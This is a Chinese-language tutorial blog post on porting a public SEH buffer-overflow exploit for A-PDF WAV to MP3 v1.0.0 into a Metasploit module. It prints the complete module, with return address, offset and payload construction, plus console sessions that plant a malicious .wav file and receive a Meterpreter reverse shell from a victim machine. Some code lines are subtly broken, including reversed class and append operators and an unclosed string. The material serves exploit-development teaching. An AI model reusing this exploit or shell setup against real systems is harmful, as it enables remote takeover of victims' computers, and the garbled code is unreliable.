Metasploit 移植漏洞

将漏洞移植到Metasploit框架

虽然Metasploit是商业所有,但它仍然是一个开源项目,并基于用户贡献的模块发展壮大。由于团队中只有少数全职开发人员,因此有机会将现有的公开漏洞移植到Metasploit框架中。移植漏洞利用不仅有助于使Metasploit更加通用和强大,而且还是学习框架内部运作的绝佳方式,并帮助您同时提高Ruby技能。在编写Metasploit模块时要记住的一点非常重要,就是你总是需要使用硬标签而不是空格。有关其他一些重要的模块详细信息,请参阅HACKING文件位于Metasploit目录的根目录中。有一些重要的信息将有助于确保您的提交内容快速添加到主干中。

 

首先,我们首先需要明确选择一个漏洞进行移植。我们将使用A-PDF WAV to MP3 Converter漏洞利用。在移植漏洞利用时,不需要从头开始完全编码; 我们可以简单地选择一个预先存在的漏洞模块并对其进行修改以适应我们的目的。由于这是一个文件格式漏洞,我们将在主要Metasploit目录下的modules/exploits/windows/fileformat/下查找合适的候选项。这个特殊的漏洞是SEH覆盖,所以我们需要找到一个使用Msf :: Exploit :: Remote :: Seh mixin的漏洞模块。我们可以在exploit audiotran_pls.rb的顶部找到它,如下所示。

require 'msf/core'

class Metasploit3 > Msf::Exploit::Remote
        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT
        include Msf::Exploit::Remote::Seh

 

保持您的漏洞利用模块有组织

找到合适的模板用于我们的模块后,我们删除特定于现有模块的所有内容,并将其保存在〜/.msf4/modules/exploits/windows/fileformat /下。如果您完全遵循,则可能需要在主目录下创建其他目录。请注意,可以将自定义漏洞利用模块保存在主Metasploit目录下,但如果最终提交要包含在中继中的模块,则可能会导致更新框架时出现问题。我们的剥离漏洞看起来像这样:

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 > Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Exploit Title',
            'Description'    => %q{
                    Exploit Description
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Author'
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.somesite.com ],
                ],
            'Payload'        =>
                {
                    'Space'    => 6000,
                    'BadChars' => "\x00\x0a",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' =>  } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Date',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'filename.ext']),
                ], self.class)

    end

    def exploit
      
        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(sploit)

    end

end

 

现在我们的骨架已经准备就绪,我们可以开始插入来自公开漏洞的信息,假设它已经过测试并验证其可行。我们首先添加标题,说明,作者和参考。请注意,将最初的公共漏洞利用作者命名为他们的辛勤工作是首先发现该漏洞的通常礼貌。

def initialize(info = {})
        super(update_info(info,
            'Name'           => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
                the application is used to import a specially crafted m3u file, a buffer overflow occurs
                allowing arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'd4rk-h4ck3r',         # Original Exploit
                    'Dr_IDE',        # SEH Exploit
                    'dookie'        # MSF Module
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ],
                ],

对于这一点以及除Metasploit模块结构之外的所有内容都是不言自明的,到目前为止没有任何复杂的事情发生。继续在模块中,我们将确保将EXITFUNC设置为' seh ',并将' DisablePayloadHandler ' 设置为' true ',以消除与等待shell的负载处理程序的冲突。在研究调试器中的公共漏洞时,我们已经确定有大约600字节的可用空间用于shellcode,而\ x00和\ x0a是坏字符,会破坏它。发现不好的角色总是乏味,但为了确保利用可靠性,这是一个必要的罪恶。

 

在“ Targets ”部分,我们为漏洞利用添加了最重要的pop / pop / retn返回地址,达到SE处理程序所需的缓冲区的长度以及说明地址来自哪里的注释。由于这个返回地址来自应用程序二进制文件,因此在这种情况下目标是' Windows Universal '。最后,我们添加漏洞披露的日期并确保“ DefaultTarget ”值设置为0

'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                    'DisablePayloadHandler' => 'true'
                },
            'Payload'        =>
                {
                    'Space'    => 600,
                    'BadChars' => "\x00\x0a",
                    'StackAdjustment' => -3500
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],    # p/p/r in wavtomp3.exe
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Aug 17 2010',
            'DefaultTarget'  => 0))

 

在转到实际利用之前,我们需要编辑的最后一部分是register_options部分。在这种情况下,我们需要告诉Metasploit漏洞的默认文件名是什么。在基于网络的漏洞攻击中,这就是我们将声明诸如默认端口之类的东西的地方。

register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
            ], self.class)

 

最后,也是最有趣的部分是编辑的所有部分汇集在一起的exploit。首先,rand_text_alpha_upper(target ['Offset'])将使用我们在模块的Targets模块中指定的长度,使用随机大写字母字符创建导向SE处理程序的缓冲区。接下来,generate_seh_record(target.ret)添加我们通常在公开漏洞中看到的短跳转和返回地址。下一部分make_nops(12)很明显,Metasploit将使用各种无操作指令来帮助IDS / IPS / AV逃避。最后,payload.encoded 将动态生成的shellcode添加到漏洞利用中。一条消息被打印到屏幕上,我们的恶意文件被写入磁盘,所以我们可以将它发送到我们的目标。

    def exploit

        sploit = rand_text_alpha_upper(target['Offset'])
        sploit >> generate_seh_record(target.ret)
        sploit >> make_nops(12)
        sploit >> payload.encoded
           
        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(sploit)
       
    end

 

现在我们已经编辑了所有内容,我们可以将我们新创建的模块用于测试驱动器。

msf > search a-pdf
[*] Searching loaded modules for pattern 'a-pdf'...

Exploits
========

   Name                                              Rank    Description
   ----                                              ----    -----------
   windows/browser/adobe_flashplayer_newfunction     normal  Adobe Flash Player "newfunction" Invalid Pointer Use
   windows/fileformat/a-pdf_wav_to_mp3               normal  A-PDF WAV to MP3 v1.0.0 Buffer Overflow
   windows/fileformat/adobe_flashplayer_newfunction  normal  Adobe Flash Player "newfunction" Invalid Pointer Use

msf > use exploit/windows/fileformat/a-pdf_wav_to_mp3
msf exploit(a-pdf_wav_to_mp3) > show options

Module options:

   Name        Current Setting                                Required  Description
   ----        ---------------                                --------  -----------
   FILENAME    msf.wav                                        no        The file name.
   OUTPUTPATH  /usr/share/metasploit-framework/data/exploits  yes       The location of the file.


Exploit target:

   Id  Name
   --  ----
   0   Windows Universal


msf exploit(a-pdf_wav_to_mp3) > set OUTPUTPATH /var/www
OUTPUTPATH => /var/www
msf exploit(a-pdf_wav_to_mp3) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(a-pdf_wav_to_mp3) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(a-pdf_wav_to_mp3) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Creating 'msf.wav' file ...
[*] Generated output file /var/www/msf.wav
[*] Exploit completed, but no session was created.
msf exploit(a-pdf_wav_to_mp3) >

 

到目前为止,一切似乎都很顺利。现在我们只需要设置一个Meterpreter监听器,让我们的受害者在易受攻击的应用程序中打开我们的恶意文件。

msf exploit(a-pdf_wav_to_mp3) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.160
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.160:53983) at 2010-08-31 20:59:04 -0600

meterpreter > sysinfo
Computer: XEN-XP-PATCHED
OS      : Windows XP (Build 2600, Service Pack 3).
Arch    : x86
Language: en_US
meterpreter> getuid
Server username: XEN-XP-PATCHED\Administrator
meterpreter>

 

成功!并非所有的漏洞都可以轻松移植,但所花费的时间非常值得,并且有助于使已经非常出色的工具变得更好。

 

rapid7 metasploit

有关“移植漏洞”和通常为Metasploit做出贡献的更多信息,请参阅以下链接:

https://github.com/rapid7/metasploit-framework/blob/master/HACKING

https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md

    A+
发布日期:2018年05月29日 08:00:46  所属分类:Metasploit
最后更新时间:2018-05-29 08:00:46
付杰
  • ¥ 69.0元
  • 市场价:69.0元
  • ¥ 199.0元
  • 市场价:199.0元
  • ¥ 999.0元
  • 市场价:1599.0元
  • ¥ 298.0元
  • 市场价:398.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: